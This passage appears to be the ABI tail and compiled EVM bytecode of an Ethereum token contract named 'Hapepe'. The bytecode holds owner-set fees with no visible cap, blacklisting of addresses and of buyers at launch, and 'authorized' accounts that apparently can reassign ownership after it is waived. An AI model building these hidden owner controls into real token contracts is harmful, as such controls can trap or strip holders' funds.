ype":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600681526020017f4861706570650000000000000000000000000000000000000000000000000000815250600290816200004a919062000f5b565b506040518060400160405280600681526020017f48415045504500000000000000000000000000000000000000000000000000008152506003908162000091919062000f5b565b506009600460006101000a81548160ff021916908360ff16021790555073dd59b8826bee1db3ad19e34e2d9fa5d42e0d49cc600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073dd59b8826bee1db3ad19e34e2d9fa5d42e0d49cc600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600e556000600f556000601055600060115560006012556000601355620001c9601154600e5462000b9360201b62001fd61790919060201c565b601455620001ea601254600f5462000b9360201b62001fd61790919060201c565b6015556200020b60135460105462000b9360201b62001fd61790919060201c565b601655600460009054906101000a900460ff16600a6200022c9190620011d2565b620f42406200023c919062001223565b601a556200025c6014601a5462000bf660201b620020341790919060201c565b601b556200027c6014601a5462000bf660201b620020341790919060201c565b601c556200029d6101f4601a5462000bf660201b620020341790919060201c565b601d556001601f60156101000a81548160ff0219169083151502179055506001601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff02191690831515021790555060056020553480156200030357600080fd5b5060006200031662000c4860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000491573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b79190620012d8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200051f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005459190620012d8565b6040518363ffffffff1660e01b8152600401620005649291906200131b565b6020604051808303816000875af115801562000584573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005aa9190620012d8565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000620006e662000c5060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007c8601054620007b4600f54600e5462000b9360201b62001fd61790919060201c565b62000b9360201b62001fd61790919060201c565b60178190555062000807601354620007f360125460115462000b9360201b62001fd61790919060201c565b62000b9360201b62001fd61790919060201c565b601881905550620008466016546200083260155460145462000b9360201b62001fd61790919060201c565b62000b9360201b62001fd61790919060201c565b6019819055506001600960006200086262000c5060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200099b62000c5060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601a546006600062000ad562000c4860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000b2362000c4860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000b84919062001359565b60405180910390a3506200153d565b600080828462000ba4919062001376565b90508381101562000bec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000be39062001412565b60405180910390fd5b8091505092915050565b600062000c4083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000c7960201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829062000cc3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000cba9190620014b2565b60405180910390fd5b506000838562000cd4919062001505565b9050809150509392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d6357607f821691505b60208210810362000d795762000d7862000d1b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000de37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000da4565b62000def868362000da4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000e3c62000e3662000e308462000e07565b62000e11565b62000e07565b9050919050565b6000819050919050565b62000e588362000e1b565b62000e7062000e678262000e43565b84845462000db1565b825550505050565b600090565b62000e8762000e78565b62000e9481848462000e4d565b505050565b5b8181101562000ebc5762000eb060008262000e7d565b60018101905062000e9a565b5050565b601f82111562000f0b5762000ed58162000d7f565b62000ee08462000d94565b8101602085101562000ef0578190505b62000f0862000eff8562000d94565b83018262000e99565b50505b505050565b600082821c905092915050565b600062000f306000198460080262000f10565b1980831691505092915050565b600062000f4b838362000f1d565b9150826002028217905092915050565b62000f668262000ce1565b67ffffffffffffffff81111562000f825762000f8162000cec565b5b62000f8e825462000d4a565b62000f9b82828562000ec0565b600060209050601f83116001811462000fd3576000841562000fbe578287015190505b62000fca858262000f3d565b8655506200103a565b601f19841662000fe38662000d7f565b60005b828110156200100d5784890151825560018201915060208501945060208101905062000fe6565b868310156200102d578489015162001029601f89168262000f1d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620010d057808604811115620010a857620010a762001042565b5b6001851615620010b85780820291505b8081029050620010c88562001071565b945062001088565b94509492505050565b600082620010eb5760019050620011be565b81620010fb5760009050620011be565b81600181146200111457600281146200111f5762001155565b6001915050620011be565b60ff84111562001134576200113362001042565b5b8360020a9150848211156200114e576200114d62001042565b5b50620011be565b5060208310610133831016604e8410600b84101617156200118f5782820a90508381111562001189576200118862001042565b5b620011be565b6200119e84848460016200107e565b92509050818404811115620011b857620011b762001042565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011df8262000e07565b9150620011ec83620011c5565b92506200121b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620010d9565b905092915050565b6000620012308262000e07565b91506200123d8362000e07565b92508282026200124d8162000e07565b9150828204841483151762001267576200126662001042565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620012a08262001273565b9050919050565b620012b28162001293565b8114620012be57600080fd5b50565b600081519050620012d281620012a7565b92915050565b600060208284031215620012f157620012f06200126e565b5b60006200130184828501620012c1565b91505092915050565b620013158162001293565b82525050565b60006040820190506200133260008301856200130a565b6200134160208301846200130a565b9392505050565b620013538162000e07565b82525050565b600060208201905062001370600083018462001348565b92915050565b6000620013838262000e07565b9150620013908362000e07565b9250828201905080821115620013ab57620013aa62001042565b5b92915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620013fa601b83620013b1565b91506200140782620013c2565b602082019050919050565b600060208201905081810360008301526200142d81620013eb565b9050919050565b60005b838110156200145457808201518184015260208101905062001437565b60008484015250505050565b6000601f19601f8301169050919050565b60006200147e8262000ce1565b6200148a8185620013b1565b93506200149c81856020860162001434565b620014a78162001460565b840191505092915050565b60006020820190508181036000830152620014ce818462001471565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620015128262000e07565b91506200151f8362000e07565b925082620015325762001531620014d6565b5b828204905092915050565b60805161457f620015596000396000610d8f015261457f6000f3fe60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063b23abda5116100ab578063f0b37c041161006f578063f0b37c0414610878578063f0cd1dac146108a1578063f1d5f517146108cc578063fbac3951146108f5578063fe9fbb801461093257610246565b8063b23abda514610797578063b6a5d7de146107c0578063c49b9a80146107e9578063dd62ed3e14610812578063ec28438a1461084f57610246565b8063a457c2d7116100f2578063a457c2d7146106a2578063a4b45c00146106df578063a5d69d1f14610708578063a9059cbb14610731578063aa8743f51461076e57610246565b80638da5cb5b146105e35780638e2eee841461060e578063914eb66a14610637578063936b2d6e1461064e57806395d89b411461067757610246565b8063313ce567116101bc578063557ed1ba11610180578063557ed1ba146104fa57806370a08231146105255780637d1db4a514610562578063807c2d9c1461058d57806382eefb43146105b857610246565b8063313ce5671461042957806338bf3cfa14610454578063395093511461047d5780633b97084a146104ba5780634bacf447146104e357610246565b806323b872dd1161020357806323b872dd146103305780632563ae831461036d5780632b112e49146103965780632ca126f8146103c15780632f54bf6e146103ec57610246565b806306fdde031461024b578063095ea7b31461027657806318160ddd146102b35780631cbcdfa6146102de5780632198cf6c1461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b5061026061096f565b60405161026d9190613618565b60405180910390f35b34801561028257600080fd5b5061029d600480360381019061029891906136d8565b610a01565b6040516102aa9190613733565b60405180910390f35b3480156102bf57600080fd5b506102c8610a1f565b6040516102d5919061375d565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190613778565b610a29565b005b34801561031357600080fd5b5061032e600480360381019061032991906137f7565b610b09565b005b34801561033c57600080fd5b5061035760048036038101906103529190613837565b610bf9565b6040516103649190613733565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061388a565b610cd3565b005b3480156103a257600080fd5b506103ab610d85565b6040516103b8919061375d565b60405180910390f35b3480156103cd57600080fd5b506103d6610dc9565b6040516103e3919061375d565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e91906138b7565b610dcf565b6040516104209190613733565b60405180910390f35b34801561043557600080fd5b5061043e610e28565b60405161044b9190613900565b60405180910390f35b34801561046057600080fd5b5061047b600480360381019061047691906138b7565b610e3f565b005b34801561048957600080fd5b506104a4600480360381019061049f91906136d8565b611005565b6040516104b19190613733565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc919061391b565b6110b8565b005b3480156104ef57600080fd5b506104f8611157565b005b34801561050657600080fd5b5061050f611201565b60405161051c919061375d565b60405180910390f35b34801561053157600080fd5b5061054c600480360381019061054791906138b7565b611209565b604051610559919061375d565b60405180910390f35b34801561056e57600080fd5b50610577611252565b604051610584919061375d565b60405180910390f35b34801561059957600080fd5b506105a2611258565b6040516105af919061375d565b60405180910390f35b3480156105c457600080fd5b506105cd61125e565b6040516105da919061375d565b60405180910390f35b3480156105ef57600080fd5b506105f8611264565b6040516106059190613957565b60405180910390f35b34801561061a57600080fd5b50610635600480360381019061063091906139d7565b61128d565b005b34801561064357600080fd5b5061064c6113c5565b005b34801561065a57600080fd5b50610675600480360381019061067091906139d7565b611518565b005b34801561068357600080fd5b5061068c611603565b6040516106999190613618565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c491906136d8565b611695565b6040516106d69190613733565b60405180910390f35b3480156106eb57600080fd5b5061070660048036038101906107019190613a37565b611762565b005b34801561071457600080fd5b5061072f600480360381019061072a919061388a565b61187d565b005b34801561073d57600080fd5b50610758600480360381019061075391906136d8565b61192f565b6040516107659190613733565b60405180910390f35b34801561077a57600080fd5b506107956004803603810190610790919061391b565b61194e565b005b3480156107a357600080fd5b506107be60048036038101906107b99190613778565b6119ed565b005b3480156107cc57600080fd5b506107e760048036038101906107e291906138b7565b611acd565b005b3480156107f557600080fd5b50610810600480360381019061080b919061388a565b611bbc565b005b34801561081e57600080fd5b5061083960048036038101906108349190613a37565b611ca5565b604051610846919061375d565b60405180910390f35b34801561085b57600080fd5b506108766004803603810190610871919061391b565b611d2c565b005b34801561088457600080fd5b5061089f600480360381019061089a91906138b7565b611dcb565b005b3480156108ad57600080fd5b506108b6611ebb565b6040516108c3919061375d565b60405180910390f35b3480156108d857600080fd5b506108f360048036038101906108ee919061391b565b611ec1565b005b34801561090157600080fd5b5061091c600480360381019061091791906138b7565b611f60565b6040516109299190613733565b60405180910390f35b34801561093e57600080fd5b50610959600480360381019061095491906138b7565b611f80565b6040516109669190613733565b60405180910390f35b60606002805461097e90613aa6565b80601f01602080910402602001604051908101604052809291908181526020018280546109aa90613aa6565b80156109f75780601f106109cc576101008083540402835291602001916109f7565b820191906000526020600020905b8154815290600101906020018083116109da57829003601f168201915b5050505050905090565b6000610a15610a0e61207e565b8484612086565b6001905092915050565b6000601a54905090565b610a3161207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590613b23565b60405180910390fd5b826011819055508160128190555080601381905550610afe601354610af0601254601154611fd690919063ffffffff16565b611fd690919063ffffffff16565b601881905550505050565b610b1161207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590613b23565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610c0684848461224f565b50610cc884610c1361207e565b610cc3856040518060600160405280602881526020016144fd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c7961207e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a669092919063ffffffff16565b612086565b600190509392505050565b610cdb61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90613b23565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b6000610dc4610db37f0000000000000000000000000000000000000000000000000000000000000000611209565b601a54612aca90919063ffffffff16565b905090565b60205481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600460009054906101000a900460ff16905090565b610e4833611f80565b610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e90613b8f565b60405180910390fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f4857600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613c21565b60405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006110ae61101261207e565b846110a9856007600061102361207e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd690919063ffffffff16565b612086565b6001905092915050565b6110c061207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114490613b23565b60405180910390fd5b80601d8190555050565b61115f61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390613b23565b60405180910390fd5b601e426111f99190613c70565b602081905550565b600042905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5481565b601c5481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61129561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990613b23565b60405180910390fd5b60005b838390508110156113bf5781600c600086868581811061134857611347613ca4565b5b905060200201602081019061135d91906138b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806113b890613cd3565b9050611325565b50505050565b6113cd61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145190613b23565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61152133611f80565b611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790613b8f565b60405180910390fd5b60005b838390508110156115fd5781600c600086868581811061158657611585613ca4565b5b905060200201602081019061159b91906138b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806115f690613cd3565b9050611563565b50505050565b60606003805461161290613aa6565b80601f016020809104026020016040519081016040528092919081815260200182805461163e90613aa6565b801561168b5780601f106116605761010080835404028352916020019161168b565b820191906000526020600020905b81548152906001019060200180831161166e57829003601f168201915b5050505050905090565b60006117586116a261207e565b846117538560405180606001604052806025815260200161452560259139600760006116cc61207e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a669092919063ffffffff16565b612086565b6001905092915050565b61176a61207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90613b23565b60405180910390fd5b81600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61188561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190990613b23565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b600061194361193c61207e565b848461224f565b506001905092915050565b61195661207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90613b23565b60405180910390fd5b8060218190555050565b6119f561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7990613b23565b60405180910390fd5b82600e8190555081600f8190555080601081905550611ac2601054611ab4600f54600e54611fd690919063ffffffff16565b611fd690919063ffffffff16565b601781905550505050565b611ad561207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5990613b23565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611bc461207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4890613b23565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611c9a9190613733565b60405180910390a150565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611d3461207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db890613b23565b60405180910390fd5b80601b8190555050565b611dd361207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5790613b23565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60175481565b611ec961207e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4d90613b23565b60405180910390fd5b80601c8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000808284611fe59190613c70565b90508381101561202a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202190613d67565b60405180910390fd5b8091505092915050565b600061207683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b14565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ec90613df9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215b90613e8b565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612242919061375d565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036122bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b690613f1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361232e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232590613faf565b60405180910390fd5b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156123be575061238e611264565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156123d75750600d60009054906101000a900460ff16155b1561247f576000602054036123fb57602154426123f49190613c70565b6020819055505b426020541115612462576001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061247e565b6001600d60006101000a81548160ff0219169083151502179055505b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125235750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125599061401b565b60405180910390fd5b601f60149054906101000a900460ff161561258957612582848484612b77565b9050612a5f565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561262d5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561267857601b54821115612677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266e906140ad565b60405180910390fd5b5b600061268330611209565b90506000601d5482101590508080156126a95750601f60149054906101000a900460ff16155b80156126ff5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127175750601f60159054906101000a900460ff165b1561274157601f60169054906101000a900460ff161561273757601d5491505b61274082612d4a565b5b6127ca846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a669092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128b05750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6128c4576128bf878787612f3b565b6128c6565b845b9050601f60179054906101000a900460ff16801561292e5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561295d57601c546129518261294389611209565b611fd690919063ffffffff16565b111561295c57600080fd5b5b6129af81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd690919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a4f919061375d565b60405180910390a3600193505050505b9392505050565b6000838311158290612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa59190613618565b60405180910390fd